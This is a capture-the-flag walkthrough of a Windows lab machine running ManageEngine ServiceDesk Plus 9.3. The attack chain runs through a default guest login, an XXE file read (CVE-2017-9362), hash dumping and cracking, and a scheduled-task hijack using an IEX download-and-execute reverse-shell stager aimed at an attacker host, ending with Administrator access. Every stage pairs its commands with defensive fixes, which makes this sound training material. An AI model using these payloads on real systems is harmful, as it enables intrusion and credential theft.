← all walkthroughs

Helpline

Windows· Hard· Privilege Escalation
owned
2026-07-10
time to own
39m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found ManageEngine ServiceDesk Plus 9.3 exposed on port 8080 and authenticated with the factory-default guest account, requiring no credential research. Inside the portal a 'Password Audit' solution ticket's Excel attachment contained a hidden worksheet naming a plaintext credential file on disk. Exploiting CVE-2017-9362, an XML External Entity flaw in SDP's CMDB API, I used that guest session to read the file and extract three Windows account passwords.

One (alice) gave an immediate WinRM shell, from which the SDP-bundled PostgreSQL instance was queried and application-user bcrypt hashes were dumped and cracked against a common wordlist. The cracked accounts' file-system access — NTFS Alternate Data Streams and EFS-encrypted files — surfaced the password for user tolu, whose user flag required a CredSSP-authenticated WinRM session. A privileged PowerShell scheduled script executed content from a file tolu could write to; injecting a reverse-shell payload triggered code execution as leo.

From leo, a BitLocker-protected virtual disk held the Administrator password as a PowerShell SecureString; decrypting it exposed the final credential and delivered full system control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <ci>, <name>, <recovery_key>, <vhd_mount> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service and version enumeration (T1046)
Port scan identified ManageEngine ServiceDesk Plus 9.3 on port 8080
A TCP service scan of $TARGET returned six open ports: 135 (MSRPC), 445 (SMB), 5900 (VNC), 5985 (WinRM), 8080 (HTTP), and 49667. An HTTP banner request to port 8080 served the ManageEngine ServiceDesk Plus login page with version 9.3 visible in the page source — a version with multiple known critical vulnerabilities including CVE-2017-9362.
Curl -i http://$TARGET:8080/ returned the SDP 9.3 login page; nmap -sV confirmed ManageEngine on port 8080.
Exact commands 2
shell

Version detection across all open ports; confirms SDP 9.3 on 8080, WinRM on 5985, SMB on 445, VNC on 5900.

$ nmap -sV -sC -p 135,445,5900,5985,8080,49667 $TARGET -oN helpline_scan.txt
shell

Grab the HTTP banner to confirm the SDP application and version string.

$ curl -i http://$TARGET:8080/
2Initial AccessDefault credentials (T1078.001); sensitive data exposure in application content (T1213)
Logged into SDP with default guest credentials and extracted the on-disk credential file path from a hidden spreadsheet
The SDP portal accepted the factory-default guest:guest credentials without modification. Browsing the authenticated session revealed a 'Password Audit' solution (ticket ID 8) with an Excel attachment (attachment ID 301). Downloading and opening the spreadsheet exposed a hidden worksheet named 'Password Data' listing weak account passwords and, critically, the on-disk path C:\Temp\Password Audit\it_logins.txt — a plaintext Windows credential file that the SDP service account could reach.
POST /j_security_check with guest:guest returned a valid session cookie; /api/v3/solutions/8/attachments listed attachment 301; the hidden Excel sheet disclosed the it_logins.txt path.
Exact commands 3
shell

Log in with default credentials; saves the session cookie to sdp.cookies.

$ curl -c sdp.cookies -b sdp.cookies -X POST "http://$TARGET:8080/j_security_check" -d 'j_username=guest&j_password=guest' -L
shell

List attachments on the Password Audit solution ticket (ID 8).

$ curl -c sdp.cookies -b sdp.cookies "http://$TARGET:8080/api/v3/solutions/8/attachments"
shell

Download the attachment; open in LibreOffice Calc and use Format > Sheets > Show to reveal the hidden 'Password Data' sheet containing the it_logins.txt path.

$ curl -c sdp.cookies -b sdp.cookies "http://$TARGET:8080/api/v3/attachments/301" -o 'PasswordAudit.xlsx'
FixDisable the default SDP guest account before production deploymentCritical
WeaknessManageEngine ServiceDesk Plus was deployed with the factory-default guest:guest account enabled and reachable from the network, allowing any visitor to log in and browse internal solution tickets including sensitive file attachments referencing on-disk credential stores.
FixDisable or delete the guest account in SDP Administration → User Management immediately. If limited anonymous access is required for ticket submission, create a dedicated role with the minimum permissions required (no access to Solutions or file attachments), assign a strong unique password, and restrict the portal to the internal network or a VPN-gated URL.
3ExploitationXML External Entity injection — CVE-2017-9362 (T1190)
Read plaintext Windows credentials via CVE-2017-9362 XXE in the SDP CMDB API
SDP 9.3's CMDB CI creation endpoint (/api/cmdb/ci) parsed my own XML without disabling external entity resolution. A POST with a DOCTYPE declaring a file:// external entity pointed at the credential path found in the spreadsheet. The SDP service — running as a privileged Windows account — opened C:\Temp\Password Audit\it_logins.txt and reflected its contents in the error response, disclosing alice's password, mike_adm's password, and <withheld>.
POST to /api/cmdb/ci with XXE payload returned file contents containing alice's password, mike_adm's password, <withheld>.
Exact commands 1
shell

Send XXE payload as the authenticated guest user; the credential file contents appear in the XML error response body.

$ curl -c sdp.cookies -b sdp.cookies -X POST "http://$TARGET:8080/api/cmdb/ci" -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Temp/Password%20Audit/it_logins.txt">]><ci><name>&xxe;</name></ci>'
FixUpgrade ServiceDesk Plus to a build that resolves CVE-2017-9362Critical
WeaknessSDP 9.3's CMDB CI API accepted XML with externally supplied DOCTYPE declarations and resolved file:// external entities without restriction, letting any authenticated user — including the default guest — read arbitrary files accessible to the SDP service account.
FixUpgrade ServiceDesk Plus to build 9328 or later where CVE-2017-9362 is patched, or preferably to the current supported release. As an immediate compensating control, restrict /api/cmdb/ci to accounts that genuinely require CMDB write access and block SYSTEM-entity XML at a WAF or reverse proxy.
4FootholdValid accounts / Windows Remote Management (T1021.006); credential database dumping (T1555)
Gained a WinRM shell as alice and dumped the internal PostgreSQL credential database
The three credentials extracted via XXE were validated against WinRM. Alice's password authenticated successfully (Pwn3d). From an evil-winrm shell, the SDP-bundled PostgreSQL binary was located at E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe and used to connect to the local servicedesk database on port 65432. A JOIN query across the aaauser and aaapassword tables returned usernames and bcrypt-hashed passwords for all SDP application accounts.
Nxc winrm $TARGET -u alice returned [+] HELPLINE\alice's password (Pwn3d!); psql query returned bcrypt hashes for SDP users.
Exact commands 3
shell

Validate alice's credentials over WinRM; expect Pwn3d.

$ nxc winrm $TARGET -u alice -p "$PASSWORD3"
shell

Open an interactive PowerShell session as alice.

$ evil-winrm -i $TARGET -u alice -p "$PASSWORD3"
shell

Run inside the evil-winrm session. Dumps all SDP user bcrypt hashes from the embedded PostgreSQL instance.

$ & 'E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe' -h 127.0.0.1 -p 65432 -U postgres -d servicedesk -c "SELECT u.user_name, p.password FROM aaauser u JOIN aaapassword p ON u.user_id = p.password_id;"
FixRemove plaintext credential files from disk and replace with a secrets managerCritical
WeaknessActive Windows account credentials were stored in a plaintext text file at C:\Temp\Password Audit\it_logins.txt, readable by the SDP service account. A single XXE request exposed all three accounts.
FixDelete the file immediately and rotate every credential it contained. Store service and administrative credentials in a dedicated secrets manager (e.g., HashiCorp Vault, CyberArk, or Windows Credential Manager with DPAPI protection) with per-requester audited access. Prohibit storage of passwords in flat files, spreadsheets, or ticket attachments; use a tool such as Snaffler to scan the environment for similar files.
5Lateral MovementOffline password cracking (T1110.002); NTFS Alternate Data Streams / EFS enumeration (T1564.004); CredSSP lateral movement (T1021.006)
Cracked SDP bcrypt hashes and followed the ADS/EFS credential chain to tolu to capture the user flag
Dumped hashes were submitted to john the Ripper against rockyou.txt, recovering zachary_33258's password, fiona's password, and mary's password within seconds. WinRM sessions under these accounts were used to enumerate NTFS Alternate Data Streams (dir /r) and EFS-encrypted files (cipher /u /n) across user home directories — the documented multi-layer escalation technique for this machine. This enumeration surfaced the credential for tolu. Tolu's user flag was protected such that standard NTLM WinRM could not read it; a CredSSP-authenticated session via pypsrp succeeded.
John recovered three passwords from SDP bcrypt hashes; tolu's password validated over WinRM; pypsrp CredSSP session returned user.txt.
Exact commands 5
shell

Crack the dumped hashes. Recovers zachary_33258's password, fiona's password, mary's password.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt sdp_hashes.txt
shell

Validate cracked credentials over SMB; repeat for fiona and mary.

$ nxc smb $TARGET -u zachary_33258 -p "$PASSWORD4"
shell

Run inside evil-winrm as zachary or fiona to enumerate NTFS Alternate Data Streams across user directories.

$ cmd /c "dir /r C:\Users"
shell

Enumerate all EFS-encrypted files accessible to the current user; inspect for credential stores or documents containing further passwords.

$ cipher /u /n
shell

CredSSP authentication is mandatory; plain NTLM WinRM returns a permissions error. Output is <user.txt>. Requires: pip install pypsrp requests-credssp.

$ python3 - <<PY
from pypsrp.client import Client
c = Client("$TARGET", username='HELPLINE\\tolu', password="$PASSWORD2", ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\tolu\\Desktop\\user.txt')
print(out)
PY
FixEnforce strong passwords for SDP application accounts and eliminate reuse with Windows credentialsHigh
WeaknessSDP application-user passwords stored as bcrypt hashes in the embedded PostgreSQL database were trivially weak (e.g., <withheld>, <withheld>) and reused as Windows account passwords, so a single hash-cracking run yielded further lateral-movement credentials.
FixEnforce a minimum password length of 14 characters with complexity requirements for all SDP accounts. Separate SDP credentials from Windows account credentials with no shared passwords. Audit and rotate all currently weak SDP passwords. Restrict the embedded PostgreSQL port (65432) to localhost via host-based firewall rules to prevent querying by any user other than the SDP service.
6Privilege EscalationScheduled task input-file hijacking (T1053.005); command execution via Invoke-Expression
Injected PowerShell into a scheduled-task input file to execute code as leo
As tolu, enumeration of E:\Scripts\ revealed SDP_Checks.ps1, a PowerShell script executed on a recurring schedule under a higher-privileged account (leo). The script read E:\Scripts\backups.txt and passed its content through Invoke-Expression. Tolu had write access to backups.txt. Appending a PowerShell download-and-execute stager caused it to run in leo's security context when the scheduled task next fired, delivering a reverse shell as leo.
E:\Scripts\backups.txt was writable by tolu; SDP_Checks.ps1 consumed and IEX'd its contents; waiting for the next task execution produced a shell as leo.
Exact commands 4
shell

Open a WinRM session as tolu (standard NTLM works for lateral movement; CredSSP was only required to read user.txt).

$ evil-winrm -i $TARGET -u tolu -p "$PASSWORD2"
shell

Run inside tolu's session. Replace $ATTACKER_IP with your listener host. Host a PowerShell reverse shell payload as rev.ps1.

$ Add-Content -Path 'E:\Scripts\backups.txt' -Value 'IEX(New-Object Net.WebClient).DownloadString("http://'"$ATTACKER_IP"'/rev.ps1")'
shell

Serve rev.ps1 from my machine while waiting for the scheduled task to fire.

$ python3 -m http.server 80
shell

Catch the reverse shell that executes as leo when SDP_Checks.ps1 next runs and IEX's backups.txt.

$ nc -lvnp 4444
FixRemove write access to files consumed by privileged scheduled tasksHigh
WeaknessE:\Scripts\backups.txt was writable by the low-privileged account tolu and was consumed verbatim via Invoke-Expression by E:\Scripts\SDP_Checks.ps1, a scheduled task running as the more-privileged user leo. Any content tolu appended was executed as leo on the next task invocation.
FixAudit the ACLs on every file read or executed by scheduled tasks (icacls E:\Scripts\*) and restrict write access to the task's service account and local Administrators only. Replace Invoke-Expression on free-form file content with a signed, parameter-driven script that does not execute arbitrary text. Enable Windows Event Log auditing for scheduled-task creation and modification (Event IDs 4698 and 4702) and alert on unexpected changes.
7Full CompromiseCredentials from password stores — PowerShell SecureString (T1555); BitLocker offline volume access
Decrypted a PowerShell SecureString via a BitLocker VHD to obtain Administrator credentials
From leo's shell, a BitLocker-protected virtual hard disk was discovered on the file system. The BitLocker recovery key was accessible in files or registry entries readable by leo. Mounting and unlocking the VHD exposed a credential file storing the Administrator password as a PowerShell SecureString (Export-Clixml format). Importing the object and calling GetNetworkCredential().Password decrypted it instantly, revealing <withheld>. Those credentials authenticated over WinRM as Administrator, and a CredSSP session read root.txt.
Administrator credential validated by nxc winrm (Pwn3d!); pypsrp CredSSP session as Administrator returned root.txt.
Exact commands 4
shell

From leo's session: unlock the BitLocker VHD using the recovery key found in leo-accessible files. Then run Mount-DiskImage '<VHD_path>' in PowerShell to mount it.

$ manage-bde -unlock <VHD_path_or_volume> -RecoveryPassword <recovery_key>
shell

Decrypt the Administrator SecureString from the mounted VHD. Outputs: <withheld>.

$ $cred = Import-Clixml '<vhd_mount>\admin_cred.xml'; $cred.GetNetworkCredential().Password
shell

Validate the recovered Administrator password — expect Pwn3d.

$ nxc winrm $TARGET -u administrator -p "$PASSWORD"
shell

CredSSP session as Administrator. Output is <root.txt>.

$ python3 - <<PY
from pypsrp.client import Client
c = Client("$TARGET", username='HELPLINE\\administrator', password="$PASSWORD", ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\Administrator\\Desktop\\root.txt')
print(out)
PY
FixDo not persist Administrator credentials as a PowerShell SecureString on diskCritical
WeaknessThe Administrator password was stored on disk inside a BitLocker VHD as a PowerShell SecureString (Export-Clixml). On Windows, SecureString encryption uses the DPAPI key of the encrypting user account; any process running as that user — or any account able to mount and read the VHD — can decrypt the credential instantly via GetNetworkCredential().Password.
FixRemove the credential file immediately and rotate the Administrator password. Implement just-in-time privileged access (e.g., Microsoft PAM or CyberArk) for administrative automation rather than persisting credentials at rest. If scripts genuinely require elevated credentials, retrieve them at runtime from a secrets manager with short-lived tokens, audited access, and automatic rotation. Never use Export-Clixml to store credentials in files.

Exposed services

135/tcp
445/tcp
5985/tcp
8080/tcp
49667/tcp
5900/tcp